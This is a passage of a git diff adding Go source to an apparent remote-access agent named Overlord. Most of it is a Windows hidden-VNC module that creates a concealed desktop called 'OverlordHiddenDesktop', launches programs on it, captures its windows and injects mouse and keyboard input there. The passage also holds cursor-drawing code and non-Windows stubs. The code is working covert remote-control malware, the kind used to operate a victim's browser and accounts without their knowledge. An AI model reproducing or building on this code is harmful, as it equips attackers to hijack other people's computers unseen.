color.RGBA{255, 255, 255, 255}}, + {5, 1, color.RGBA{255, 255, 255, 255}}, + {5, 2, color.RGBA{255, 255, 255, 255}}, + {5, 3, color.RGBA{255, 255, 255, 255}}, + {5, 4, color.RGBA{255, 255, 255, 255}}, + {5, 5, color.RGBA{255, 255, 255, 255}}, + {5, 11, color.RGBA{255, 255, 255, 255}}, + {5, 12, color.RGBA{255, 255, 255, 255}}, + {6, 1, color.RGBA{255, 255, 255, 255}}, + {6, 2, color.RGBA{255, 255, 255, 255}}, + {6, 3, color.RGBA{255, 255, 255, 255}}, + {6, 4, color.RGBA{255, 255, 255, 255}}, + {6, 10, color.RGBA{255, 255, 255, 255}}, + {6, 11, color.RGBA{255, 255, 255, 255}}, + {7, 1, color.RGBA{255, 255, 255, 255}}, + {7, 2, color.RGBA{255, 255, 255, 255}}, + {7, 3, color.RGBA{255, 255, 255, 255}}, + {7, 9, color.RGBA{255, 255, 255, 255}}, + {7, 10, color.RGBA{255, 255, 255, 255}}, + {8, 5, color.RGBA{255, 255, 255, 255}}, + {8, 6, color.RGBA{255, 255, 255, 255}}, + {8, 7, color.RGBA{255, 255, 255, 255}}, + {8, 8, color.RGBA{255, 255, 255, 255}}, + {8, 9, color.RGBA{255, 255, 255, 255}}, + {9, 5, color.RGBA{255, 255, 255, 255}}, + {9, 6, color.RGBA{255, 255, 255, 255}}, + {9, 7, color.RGBA{255, 255, 255, 255}}, + {9, 8, color.RGBA{255, 255, 255, 255}}, + {10, 6, color.RGBA{255, 255, 255, 255}}, + {10, 7, color.RGBA{255, 255, 255, 255}}, + {11, 6, color.RGBA{255, 255, 255, 255}}, + } + + for _, p := range cursorPattern { + px := imgX + p.x + py := imgY + p.y + if px >= 0 && px < img.Bounds().Dx() && py >= 0 && py < img.Bounds().Dy() { + img.SetRGBA(px, py, p.c) + } + } +} + +func DrawCursorOnDC(hdc uintptr, captureBounds image.Rectangle) bool { + if !cursorCaptureEnabled.Load() || hdc == 0 { + return false + } + var ci cursorInfo + ci.cbSize = uint32(unsafe.Sizeof(ci)) + ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci))) + if ret == 0 || (ci.flags&CURSOR_SHOWING) == 0 || ci.hCursor == 0 { + return false + } + var icon iconInfo + ret, _, _ = procGetIconInfo.Call(ci.hCursor, uintptr(unsafe.Pointer(&icon))) + if ret == 0 { + return false + } + if icon.hbmMask != 0 { + defer deleteObject(icon.hbmMask) + } + if icon.hbmColor != 0 { + defer deleteObject(icon.hbmColor) + } + + x := int32(ci.ptScreenPos.x) - int32(captureBounds.Min.X) - int32(icon.xHotspot) + y := int32(ci.ptScreenPos.y) - int32(captureBounds.Min.Y) - int32(icon.yHotspot) + ret, _, _ = procDrawIconEx.Call( + hdc, + uintptr(x), + uintptr(y), + ci.hCursor, + 0, + 0, + 0, + 0, + uintptr(DI_NORMAL), + ) + return ret != 0 +} + +func DrawCursorOnImage(img *image.RGBA, captureBounds image.Rectangle) { + if !cursorCaptureEnabled.Load() { + return + } + + x, y, visible := getCursorPosition() + if visible { + drawCursor(img, x, y, captureBounds) + } +} diff --git a/Overlord-Client/cmd/agent/capture/desktop_duplication_default.go b/Overlord-Client/cmd/agent/capture/desktop_duplication_default.go new file mode 100644 index 0000000..162fc99 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/desktop_duplication_default.go @@ -0,0 +1,5 @@ +//go:build !windows + +package capture + +func SetDesktopDuplication(enabled bool) {} diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go new file mode 100644 index 0000000..f967f1c --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go @@ -0,0 +1,52 @@ +//go:build !windows + +package capture + +import ( + "errors" + "image" +) + +func InitializeHVNCDesktop() error { + return errors.New("HVNC not supported on this platform") +} + +func CleanupHVNCDesktop() {} + +func SetHVNCCursorCapture(enabled bool) {} + +func hvncCaptureDisplay(display int) (*image.RGBA, error) { + return nil, errors.New("HVNC not supported on this platform") +} + +func HVNCMonitorCount() int { + return 0 +} + +func StartHVNCProcess(filePath string) error { + return errors.New("HVNC not supported on this platform") +} + +func HVNCInputMouseMove(display int, x, y int32) error { + return errors.New("HVNC not supported on this platform") +} + +func HVNCInputMouseDown(button int) error { + return errors.New("HVNC not supported on this platform") +} + +func HVNCInputMouseUp(button int) error { + return errors.New("HVNC not supported on this platform") +} + +func HVNCInputKeyDown(vk uint16) error { + return errors.New("HVNC not supported on this platform") +} + +func HVNCInputKeyUp(vk uint16) error { + return errors.New("HVNC not supported on this platform") +} + +func HVNCInputMouseWheel(delta int32) error { + return errors.New("HVNC not supported on this platform") +} diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go new file mode 100644 index 0000000..fe2cf01 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -0,0 +1,1163 @@ +//go:build windows + +package capture + +import ( + "fmt" + "image" + "log" + "runtime" + "sync" + "sync/atomic" + "syscall" + "time" + "unsafe" +) + +var ( + procCreateDesktopW = user32.NewProc("CreateDesktopW") + procOpenDesktopW = user32.NewProc("OpenDesktopW") + procCloseDesktop = user32.NewProc("CloseDesktop") + procSetThreadDesktop = user32.NewProc("SetThreadDesktop") + procGetThreadDesktop = user32.NewProc("GetThreadDesktop") + procSwitchDesktop = user32.NewProc("SwitchDesktop") + procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId") + procGetDesktopWindow = user32.NewProc("GetDesktopWindow") + procGetWindowRect = user32.NewProc("GetWindowRect") + procIsWindowVisible = user32.NewProc("IsWindowVisible") + procPrintWindow = user32.NewProc("PrintWindow") + procGetWindow = user32.NewProc("GetWindow") + procGetTopWindow = user32.NewProc("GetTopWindow") + procCreateProcessW = kernel32.NewProc("CreateProcessW") + procSendInputHVNC = user32.NewProc("SendInput") + procSetCursorPosHVNC = user32.NewProc("SetCursorPos") + procGetCursorPosHVNC = user32.NewProc("GetCursorPos") + procWindowFromPoint = user32.NewProc("WindowFromPoint") + procScreenToClient = user32.NewProc("ScreenToClient") + procPostMessageW = user32.NewProc("PostMessageW") + procSendMessageW = user32.NewProc("SendMessageW") + procSetWindowPos = user32.NewProc("SetWindowPos") + procSetForegroundWindow = user32.NewProc("SetForegroundWindow") + procSetActiveWindow = user32.NewProc("SetActiveWindow") + procSetFocus = user32.NewProc("SetFocus") + procGetForegroundWindow = user32.NewProc("GetForegroundWindow") + procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW") + procToUnicode = user32.NewProc("ToUnicode") +) + +const ( + DESKTOP_READOBJECTS = 0x0001 + DESKTOP_CREATEWINDOW = 0x0002 + DESKTOP_CREATEMENU = 0x0004 + DESKTOP_HOOKCONTROL = 0x0008 + DESKTOP_JOURNALRECORD = 0x0010 + DESKTOP_JOURNALPLAYBACK = 0x0020 + DESKTOP_ENUMERATE = 0x0040 + DESKTOP_WRITEOBJECTS = 0x0080 + DESKTOP_SWITCHDESKTOP = 0x0100 + + GENERIC_ALL = 0x10000000 + + DESKTOP_ALL_ACCESS = DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | + DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD | + DESKTOP_JOURNALPLAYBACK | DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | + DESKTOP_SWITCHDESKTOP | GENERIC_ALL + + GW_HWNDFIRST = 0 + GW_HWNDLAST = 1 + GW_HWNDNEXT = 2 + GW_HWNDPREV = 3 + PW_RENDERFULLCONTENT = 0x00000002 + + STARTF_USEPOSITION = 0x00000004 + CREATE_NEW_CONSOLE = 0x00000010 + MOUSEEVENTF_MOVE = 0x0001 + MOUSEEVENTF_LEFTDOWN = 0x0002 + MOUSEEVENTF_LEFTUP = 0x0004 + MOUSEEVENTF_RIGHTDOWN = 0x0008 + MOUSEEVENTF_RIGHTUP = 0x0010 + MOUSEEVENTF_MIDDLEDOWN = 0x0020 + MOUSEEVENTF_MIDDLEUP = 0x0040 + INPUT_MOUSE = 0 + INPUT_KEYBOARD = 1 + KEYEVENTF_KEYUP = 0x0002 + VK_SHIFT = 0x10 + VK_CONTROL = 0x11 + VK_MENU = 0x12 + VK_CAPITAL = 0x14 + VK_LSHIFT = 0xA0 + VK_RSHIFT = 0xA1 + VK_LCONTROL = 0xA2 + VK_RCONTROL = 0xA3 + VK_LMENU = 0xA4 + VK_RMENU = 0xA5 + WM_MOUSEMOVE = 0x0200 + WM_LBUTTONDOWN = 0x0201 + WM_LBUTTONUP = 0x0202 + WM_RBUTTONDOWN = 0x0204 + WM_RBUTTONUP = 0x0205 + WM_MBUTTONDOWN = 0x0207 + WM_MBUTTONUP = 0x0208 + WM_NCHITTEST = 0x0084 + WM_NCLBUTTONDOWN = 0x00A1 + WM_NCLBUTTONUP = 0x00A2 + WM_CLOSE = 0x0010 + WM_KEYDOWN = 0x0100 + WM_KEYUP = 0x0101 + WM_CHAR = 0x0102 + WM_MOUSEWHEEL = 0x020A + MK_LBUTTON = 0x0001 + MK_RBUTTON = 0x0002 + MK_MBUTTON = 0x0010 + WHEEL_DELTA = 120 + HTCAPTION = 2 + HTCLOSE = 20 + HTMINBUTTON = 8 + HTMAXBUTTON = 9 + HTLEFT = 10 + HTRIGHT = 11 + HTTOP = 12 + HTTOPLEFT = 13 + HTTOPRIGHT = 14 + HTBOTTOM = 15 + HTBOTTOMLEFT = 16 + HTBOTTOMRIGHT = 17 +) + +var ( + hvncDesktopHandle uintptr + hvncDesktopMu sync.Mutex + hvncDesktopName = "OverlordHiddenDesktop" + hvncInitialized bool + hvncOriginalDesktop uintptr + hvncCursorEnabled bool + hvncThreadOnce sync.Once + hvncThreadErr error + hvncThreadReady chan struct{} + hvncThreadTasks chan hvncTask + hvncNoWindowLogNs atomic.Int64 + hvncInputMu sync.Mutex + hvncLastCursor point + hvncHasCursor bool + hvncWorkingWindow uintptr + hvncShiftDown bool + hvncCtrlDown bool + hvncAltDown bool + hvncCapsLock bool + hvncMovingWindow bool + hvncMoveOffset point + hvncWindowSize point + hvncWindowToMove uintptr + hvncMouseButtons uint32 +) + +type hvncTaskKind int + +const ( + hvncTaskCapture hvncTaskKind = iota + hvncTaskStartProcess + hvncTaskMouseMove + hvncTaskMouseDown + hvncTaskMouseUp + hvncTaskKeyDown + hvncTaskKeyUp + hvncTaskMouseWheel +) + +type hvncTask struct { + kind hvncTaskKind + display int + filePath string + x int32 + y int32 + button int + vk uint16 + delta int32 + resp chan hvncTaskResult +} + +type hvncTaskResult struct { + img *image.RGBA + err error +} + +type startupInfo struct { + cb uint32 + lpReserved *uint16 + lpDesktop *uint16 + lpTitle *uint16 + dwX uint32 + dwY uint32 + dwXSize uint32 + dwYSize uint32 + dwXCountChars uint32 + dwYCountChars uint32 + dwFillAttribute uint32 + dwFlags uint32 + wShowWindow uint16 + cbReserved2 uint16 + lpReserved2 *byte + hStdInput uintptr + hStdOutput uintptr + hStdErr uintptr +} + +type processInformation struct { + hProcess uintptr + hThread uintptr + dwProcessId uint32 + dwThreadId uint32 +} + +type mouseInput struct { + dx int32 + dy int32 + mouseData uint32 + dwFlags uint32 + time uint32 + dwExtraInfo uintptr +} + +type keybdInput struct { + wVk uint16 + wScan uint16 + dwFlags uint32 + time uint32 + dwExtraInfo uintptr +} + +type input struct { + inputType uint32 + union [24]byte +} + +func getCurrentThreadId() uint32 { + r, _, _ := procGetCurrentThreadId.Call() + return uint32(r) +} + +func getThreadDesktop(threadId uint32) uintptr { + r, _, _ := procGetThreadDesktop.Call(uintptr(threadId)) + return r +} + +func isWindowVisible(hwnd uintptr) bool { + r, _, _ := procIsWindowVisible.Call(hwnd) + return r != 0 +} + +func printWindow(hwnd, hdc uintptr, flags uint32) bool { + r, _, _ := procPrintWindow.Call(hwnd, hdc, uintptr(flags)) + return r != 0 +} + +func getWindow(hwnd uintptr, cmd uint32) uintptr { + r, _, _ := procGetWindow.Call(hwnd, uintptr(cmd)) + return r +} + +func getTopWindow(hwnd uintptr) uintptr { + r, _, _ := procGetTopWindow.Call(hwnd) + return r +} + +func InitializeHVNCDesktop() error { + hvncDesktopMu.Lock() + defer hvncDesktopMu.Unlock() + + if hvncInitialized && hvncDesktopHandle != 0 { + return nil + } + + threadId := getCurrentThreadId() + hvncOriginalDesktop = getThreadDesktop(threadId) + + desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName) + if err != nil { + return fmt.Errorf("failed to convert desktop name: %v", err) + } + + r, _, _ := procOpenDesktopW.Call( + uintptr(unsafe.Pointer(desktopNamePtr)), + 0, + 0, + uintptr(DESKTOP_ALL_ACCESS), + ) + + if r == 0 { + r, _, err = procCreateDesktopW.Call( + uintptr(unsafe.Pointer(desktopNamePtr)), + 0, + 0, + 0, + uintptr(DESKTOP_ALL_ACCESS), + 0, + ) + + if r == 0 { + return fmt.Errorf("failed to create hidden desktop: %v", err) + } + } + + hvncDesktopHandle = r + hvncInitialized = true + return nil +} + +func CleanupHVNCDesktop() { + hvncDesktopMu.Lock() + defer hvncDesktopMu.Unlock() + + if hvncDesktopHandle != 0 { + if hvncOriginalDesktop != 0 { + procSetThreadDesktop.Call(hvncOriginalDesktop) + } + + procCloseDesktop.Call(hvncDesktopHandle) + hvncDesktopHandle = 0 + } + hvncInitialized = false + if hvncThreadTasks != nil { + close(hvncThreadTasks) + hvncThreadTasks = nil + } + hvncThreadReady = nil + hvncThreadErr = nil + hvncThreadOnce = sync.Once{} +} + +func SetHVNCCursorCapture(enabled bool) { + hvncCursorEnabled = enabled +} + +func hvncDesktopBounds() (image.Rectangle, bool) { + hwnd, _, _ := procGetDesktopWindow.Call() + if hwnd == 0 { + return image.Rectangle{}, false + } + var r rect + ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r))) + if ok == 0 { + return image.Rectangle{}, false + } + if r.right <= r.left || r.bottom <= r.top { + return image.Rectangle{}, false + } + return image.Rect(int(r.left), int(r.top), int(r.right), int(r.bottom)), true +} + +func ensureHVNCThread() error { + hvncDesktopMu.Lock() + desktopHandle := hvncDesktopHandle + hvncDesktopMu.Unlock() + + if desktopHandle == 0 { + return fmt.Errorf("hvnc desktop not initialized") + } + + hvncThreadOnce.Do(func() { + hvncThreadReady = make(chan struct{}) + hvncThreadTasks = make(chan hvncTask) + go func(handle uintptr) { + defer recoverAndLog("hvnc desktop thread", nil) + runtime.LockOSThread() + defer runtime.UnlockOSThread() + + r, _, err := procSetThreadDesktop.Call(handle) + if r == 0 { + hvncThreadErr = fmt.Errorf("failed to set thread desktop: %v", err) + close(hvncThreadReady) + for task := range hvncThreadTasks { + task.resp <- hvncTaskResult{nil, hvncThreadErr} + } + return + } + + close(hvncThreadReady) + for task := range hvncThreadTasks { + switch task.kind { + case hvncTaskStartProcess: + err := startHVNCProcessOnThread(task.filePath) + task.resp <- hvncTaskResult{nil, err} + case hvncTaskMouseMove: + err := hvncMouseMoveOnThread(task.display, task.x, task.y) + task.resp <- hvncTaskResult{nil, err} + case hvncTaskMouseDown: + err := hvncMouseButtonOnThread(task.button, true) + task.resp <- hvncTaskResult{nil, err} + case hvncTaskMouseUp: + err := hvncMouseButtonOnThread(task.button, false) + task.resp <- hvncTaskResult{nil, err} + case hvncTaskKeyDown: + err := hvncKeyOnThread(task.vk, true) + task.resp <- hvncTaskResult{nil, err} + case hvncTaskKeyUp: + err := hvncKeyOnThread(task.vk, false) + task.resp <- hvncTaskResult{nil, err} + case hvncTaskMouseWheel: + err := hvncMouseWheelOnThread(task.delta) + task.resp <- hvncTaskResult{nil, err} + default: + img, err := hvncCaptureDisplayOnThread(task.display) + task.resp <- hvncTaskResult{img, err} + } + } + }(desktopHandle) + }) + + if hvncThreadReady != nil { + <-hvncThreadReady + } + + return hvncThreadErr +} + +func hvncCaptureDisplay(display int) (*image.RGBA, error) { + if err := ensureHVNCThread(); err != nil { + return nil, err + } + + resp := make(chan hvncTaskResult, 1) + hvncThreadTasks <- hvncTask{kind: hvncTaskCapture, display: display, resp: resp} + result := <-resp + return result.img, result.err +} + +func StartHVNCProcess(filePath string) error { + if filePath == "" { + return fmt.Errorf("empty file path") + } + if err := ensureHVNCThread(); err != nil { + return err + } + resp := make(chan hvncTaskResult, 1) + hvncThreadTasks <- hvncTask{kind: hvncTaskStartProcess, filePath: filePath, resp: resp} + result := <-resp + return result.err +} + +func HVNCInputMouseMove(display int, x, y int32) error { + if err := ensureHVNCThread(); err != nil { + return err + } + resp := make(chan hvncTaskResult, 1) + hvncThreadTasks <- hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y, resp: resp} + result := <-resp + return result.err +} + +func HVNCInputMouseDown(button int) error { + if err := ensureHVNCThread(); err != nil { + return err + } + resp := make(chan hvncTaskResult, 1) + hvncThreadTasks <- hvncTask{kind: hvncTaskMouseDown, button: button, resp: resp} + result := <-resp + return result.err +} + +func HVNCInputMouseUp(button int) error { + if err := ensureHVNCThread(); err != nil { + return err + } + resp := make(chan hvncTaskResult, 1) + hvncThreadTasks <- hvncTask{kind: hvncTaskMouseUp, button: button, resp: resp} + result := <-resp + return result.err +} + +func HVNCInputKeyDown(vk uint16) error { + if err := ensureHVNCThread(); err != nil { + return err + } + resp := make(chan hvncTaskResult, 1) + hvncThreadTasks <- hvncTask{kind: hvncTaskKeyDown, vk: vk, resp: resp} + result := <-resp + return result.err +} + +func HVNCInputKeyUp(vk uint16) error { + if err := ensureHVNCThread(); err != nil { + return err + } + resp := make(chan hvncTaskResult, 1) + hvncThreadTasks <- hvncTask{kind: hvncTaskKeyUp, vk: vk, resp: resp} + result := <-resp + return result.err +} + +func HVNCInputMouseWheel(delta int32) error { + if err := ensureHVNCThread(); err != nil { + return err + } + resp := make(chan hvncTaskResult, 1) + hvncThreadTasks <- hvncTask{kind: hvncTaskMouseWheel, delta: delta, resp: resp} + result := <-resp + return result.err +} + +func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) { + captureMu.Lock() + defer captureMu.Unlock() + + setDPIAware() + + maxDisplays := displayCount() + if maxDisplays <= 0 { + maxDisplays = 1 + } + if display < 0 || display >= maxDisplays { + log.Printf("hvnc capture: requested display %d out of range (0-%d), defaulting to 0", display, maxDisplays-1) + display = 0 + } + + bounds, boundsSource := hvncResolveCaptureBounds(display) + srcW := bounds.Dx() + srcH := bounds.Dy() + if srcW <= 0 || srcH <= 0 { + log.Printf("hvnc capture: invalid bounds for display=%d source=%s bounds=%v", display, boundsSource, bounds) + return nil, syscall.EINVAL + } + + userScale := captureScale() + dstW := int(float64(srcW) * userScale) + dstH := int(float64(srcH) * userScale) + if dstW <= 0 || dstH <= 0 { + dstW = srcW + dstH = srcH + } + + capW := srcW + capH := srcH + + hdcScreen := getDC(0) + if hdcScreen == 0 { + return nil, syscall.EINVAL + } + defer releaseDC(0, hdcScreen) + + hdcMem := createCompatibleDC(hdcScreen) + if hdcMem == 0 { + return nil, syscall.EINVAL + } + defer deleteDC(hdcMem) + + bmi := bitmapInfo{ + bmiHeader: bitmapInfoHeader{ + biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})), + biWidth: int32(capW), + biHeight: -int32(capH), + biPlanes: 1, + biBitCount: 32, + biCompression: BI_RGB, + }, + } + var bits unsafe.Pointer + hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits) + if hbmp == 0 || bits == nil { + return nil, syscall.EINVAL + } + selectObject(hdcMem, hbmp) + + buf := unsafe.Slice((*byte)(bits), capW*capH*4) + for i := range buf { + buf[i] = 0 + } + + drawn := drawHVNCWindowsToBuffer(hdcScreen, bounds, buf, capW*4) + if drawn == 0 { + now := time.Now().UnixNano() + last := hvncNoWindowLogNs.Load() + if now-last > int64(5*time.Second) && hvncNoWindowLogNs.CompareAndSwap(last, now) { + log.Printf("hvnc capture: no windows drawn for display=%d source=%s bounds=%v", display, boundsSource, bounds) + } + } + + swapRB(buf) + img := image.NewRGBA(image.Rect(0, 0, capW, capH)) + copy(img.Pix, buf) + + deleteObject(hbmp) + + if hvncCursorEnabled { + DrawCursorOnImage(img, bounds) + } + + if dstW != capW || dstH != capH { + img = resizeNearest(img, dstW, dstH) + } + + return img, nil +} + +func startHVNCProcessOnThread(filePath string) error { + if filePath == "" { + return fmt.Errorf("empty file path") + } + + desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName) + if err != nil { + return fmt.Errorf("failed to convert desktop name: %v", err) + } + cmdLine, err := syscall.UTF16FromString(filePath) + if err != nil { + return fmt.Errorf("failed to convert command line: %v", err) + } + var si startupInfo + var pi processInformation + si.cb = uint32(unsafe.Sizeof(si)) + si.lpDesktop = desktopNamePtr + si.dwX = 0 + si.dwY = 0 + si.dwFlags = STARTF_USEPOSITION + + ret, _, callErr := procCreateProcessW.Call( + 0, + uintptr(unsafe.Pointer(&cmdLine[0])), + 0, + 0, + 0, + uintptr(CREATE_NEW_CONSOLE), + 0, + 0, + uintptr(unsafe.Pointer(&si)), + uintptr(unsafe.Pointer(&pi)), + ) + if ret == 0 { + if callErr != nil { + return fmt.Errorf("CreateProcess failed: %v", callErr) + } + return fmt.Errorf("CreateProcess failed") + } + return nil +} + +func hvncMouseMoveOnThread(display int, x, y int32) error { + bounds, _ := hvncResolveCaptureBounds(display) + if bounds.Dx() <= 0 || bounds.Dy() <= 0 { + procSetCursorPosHVNC.Call(uintptr(x), uintptr(y)) + hvncInputMu.Lock() + hvncLastCursor = point{x: x, y: y} + hvncHasCursor = true + hvncInputMu.Unlock() + return nil + } + + absX := bounds.Min.X + int(x) + absY := bounds.Min.Y + int(y) + if absX < bounds.Min.X { + absX = bounds.Min.X + } + if absY < bounds.Min.Y { + absY = bounds.Min.Y + } + if absX >= bounds.Max.X { + absX = bounds.Max.X - 1 + } + if absY >= bounds.Max.Y { + absY = bounds.Max.Y - 1 + } + + procSetCursorPosHVNC.Call(uintptr(absX), uintptr(absY)) + hvncInputMu.Lock() + hvncLastCursor = point{x: int32(absX), y: int32(absY)} + hvncHasCursor = true + hvncInputMu.Unlock() + moveHVNCWindowIfDragging(point{x: int32(absX), y: int32(absY)}) + + pt := point{x: int32(absX), y: int32(absY)} + hwnd := windowFromPoint(pt) + if hwnd != 0 { + setWorkingWindow(hwnd) + clientPt := pt + procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt))) + postMouseMessage(hwnd, WM_MOUSEMOVE, uintptr(currentMouseButtons()), clientPt) + } + return nil +} + +func hvncMouseButtonOnThread(button int, down bool) error { + pt := currentHVNCCursor() + hwnd := windowFromPoint(pt) + if hwnd == 0 { + return nil + } + setWorkingWindow(hwnd) + if button == 0 { + handleNonClientHit(hwnd, pt, down) + } + if button == 0 && !down { + endHVNCWindowDrag(pt) + } + clientPt := pt + procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt))) + + var msg uint32 + var wparam uintptr + switch button { + case 0: + if down { + msg = WM_LBUTTONDOWN + wparam = uintptr(setMouseButton(button, true)) + } else { + msg = WM_LBUTTONUP + wparam = uintptr(setMouseButton(button, false)) + } + case 1: + if down { + msg = WM_MBUTTONDOWN + wparam = uintptr(setMouseButton(button, true)) + } else { + msg = WM_MBUTTONUP + wparam = uintptr(setMouseButton(button, false)) + } + case 2: + if down { + msg = WM_RBUTTONDOWN + wparam = uintptr(setMouseButton(button, true)) + } else { + msg = WM_RBUTTONUP + wparam = uintptr(setMouseButton(button, false)) + } + default: + return nil + } + + postMouseMessage(hwnd, msg, wparam, clientPt) + return nil +} + +func hvncKeyOnThread(vk uint16, down bool) error { + hwnd := getWorkingWindow() + if hwnd == 0 { + pt := currentHVNCCursor() + hwnd = windowFromPoint(pt) + if hwnd == 0 { + return nil + } + setWorkingWindow(hwnd) + } + setWorkingWindow(hwnd) + updateModifierState(vk, down) + + if isModifierVK(vk) { + return nil + } + + if down { + if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) { + for _, r := range ch { + procPostMessageW.Call(hwnd, WM_CHAR, uintptr(r), uintptr(1)) + } + } else { + postKeyMessage(hwnd, WM_KEYDOWN, vk) + } + } else { + postKeyMessage(hwnd, WM_KEYUP, vk) + } + return nil +} + +func makeLParam(x, y int32) uintptr { + return uintptr((uint32(y) << 16) | (uint32(x) & 0xFFFF)) +} + +func windowFromPoint(pt point) uintptr { + ret, _, _ := procWindowFromPoint.Call(uintptr(*(*int64)(unsafe.Pointer(&pt)))) + return ret +} + +func setWorkingWindow(hwnd uintptr) { + if hwnd == 0 { + return + } + hvncInputMu.Lock() + hvncWorkingWindow = hwnd + hvncInputMu.Unlock() + procSetForegroundWindow.Call(hwnd) + procSetActiveWindow.Call(hwnd) + procSetFocus.Call(hwnd) +} + +func getWorkingWindow() uintptr { + hvncInputMu.Lock() + defer hvncInputMu.Unlock() + return hvncWorkingWindow +} + +func currentHVNCCursor() point { + hvncInputMu.Lock() + if hvncHasCursor { + pt := hvncLastCursor + hvncInputMu.Unlock() + return pt + } + hvncInputMu.Unlock() + var pt point + procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt))) + return pt +} + +func postMouseMessage(hwnd uintptr, msg uint32, wparam uintptr, pt point) { + procPostMessageW.Call(hwnd, uintptr(msg), wparam, makeLParam(pt.x, pt.y)) +} + +func postKeyMessage(hwnd uintptr, msg uint32, vk uint16) { + scan := mapVirtualKey(uint32(vk)) + lparam := uintptr(1 | (scan << 16)) + if msg == WM_KEYUP { + lparam |= 1 << 30 + lparam |= 1 << 31 + } + procPostMessageW.Call(hwnd, uintptr(msg), uintptr(vk), lparam) +} + +func setMouseButton(button int, down bool) uint32 { + hvncInputMu.Lock() + defer hvncInputMu.Unlock() + var mask uint32 + switch button { + case 0: + mask = MK_LBUTTON + case 1: + mask = MK_MBUTTON + case 2: + mask = MK_RBUTTON + default: + return hvncMouseButtons + } + if down { + hvncMouseButtons |= mask + } else { + hvncMouseButtons &^= mask + } + return hvncMouseButtons +} + +func currentMouseButtons() uint32 { + hvncInputMu.Lock() + defer hvncInputMu.Unlock() + return hvncMouseButtons +} + +func mapVirtualKey(vk uint32) uintptr { + r, _, _ := procMapVirtualKeyW.Call(uintptr(vk), 0) + return r +} + +func virtualKeyToChars(vk uint16) []rune { + buf := make([]uint16, 8) + state := buildKeyboardState() + ret, _, _ := procToUnicode.Call( + uintptr(vk), + mapVirtualKey(uint32(vk)), + uintptr(unsafe.Pointer(&state[0])), + uintptr(unsafe.Pointer(&buf[0])), + uintptr(len(buf)), + 0, + ) + if ret == 0 { + return nil + } + if ret < 0 { + ret = -ret + } + return []rune(syscall.UTF16ToString(buf[:ret])) +} + +func handleNonClientHit(hwnd uintptr, screenPt point, down bool) { + lparam := makeLParam(screenPt.x, screenPt.y) + hit, _, _ := procSendMessageW.Call(hwnd, WM_NCHITTEST, 0, lparam) + hitTest := int32(hit) + + if hitTest == HTCLOSE && !down { + procPostMessageW.Call(hwnd, WM_CLOSE, 0, 0) + return + } + + if hitTest == HTCAPTION { + if down { + var r rect + if ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r))); ok != 0 { + hvncInputMu.Lock() + hvncMovingWindow = true + hvncWindowToMove = hwnd + hvncMoveOffset = point{x: screenPt.x - r.left, y: screenPt.y - r.top} + hvncWindowSize = point{x: r.right - r.left, y: r.bottom - r.top} + hvncInputMu.Unlock() + } + } else { + endHVNCWindowDrag(screenPt) + } + return + } + + if hitTest == HTLEFT || hitTest == HTRIGHT || hitTest == HTTOP || hitTest == HTBOTTOM || hitTest == HTTOPLEFT || hitTest == HTTOPRIGHT || hitTest == HTBOTTOMLEFT || hitTest == HTBOTTOMRIGHT || hitTest == HTMINBUTTON || hitTest == HTMAXBUTTON { + msg := WM_NCLBUTTONDOWN + if !down { + msg = WM_NCLBUTTONUP + } + procPostMessageW.Call(hwnd, uintptr(msg), uintptr(hitTest), lparam) + } +} + +func moveHVNCWindowIfDragging(screenPt point) { + hvncInputMu.Lock() + moving := hvncMovingWindow + hwnd := hvncWindowToMove + offset := hvncMoveOffset + size := hvncWindowSize + hvncInputMu.Unlock() + if !moving || hwnd == 0 { + return + } + newX := int32(screenPt.x) - offset.x + newY := int32(screenPt.y) - offset.y + procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0) +} + +func endHVNCWindowDrag(screenPt point) { + hvncInputMu.Lock() + moving := hvncMovingWindow + hwnd := hvncWindowToMove + offset := hvncMoveOffset + size := hvncWindowSize + hvncMovingWindow = false + hvncWindowToMove = 0 + hvncInputMu.Unlock() + if !moving || hwnd == 0 { + return + } + newX := int32(screenPt.x) - offset.x + newY := int32(screenPt.y) - offset.y + procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0) +} + +func hvncMouseWheelOnThread(delta int32) error { + pt := currentHVNCCursor() + hwnd := getWorkingWindow() + if hwnd == 0 { + hwnd = windowFromPoint(pt) + if hwnd == 0 { + return nil + } + setWorkingWindow(hwnd) + } + clientPt := pt + procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt))) + wparam := uintptr(uint16(delta)) << 16 + procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(clientPt.x, clientPt.y)) + return nil +} + +func isNonPrintableVK(vk uint16) bool { + if vk >= 0x70 && vk <= 0x7B { // F1-F12 + return true + } + switch vk { + case 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28: // PageUp/Down, End, Home, Arrows + return true + case 0x2D, 0x2E: // Insert, Delete + return true + case 0x5B, 0x5C, 